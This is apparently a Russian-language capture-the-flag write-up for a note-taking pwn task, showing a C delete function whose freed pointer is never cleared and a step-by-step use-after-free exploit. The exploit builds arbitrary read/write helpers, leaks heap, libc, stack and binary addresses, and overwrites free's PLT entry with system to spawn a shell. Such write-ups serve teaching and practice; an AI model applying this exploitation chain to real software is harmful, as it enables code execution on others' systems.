🤱 Девочка-волшебница [клик]
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")
Теперь `entries[0].content == entries[1]
Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.Arbitrary read
Теперь мы можем написать в
entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res
def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
environ, затем со стека ликаем адрес самого бинаря.Взлом
Самый простой способ получить шел: вызвать
system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube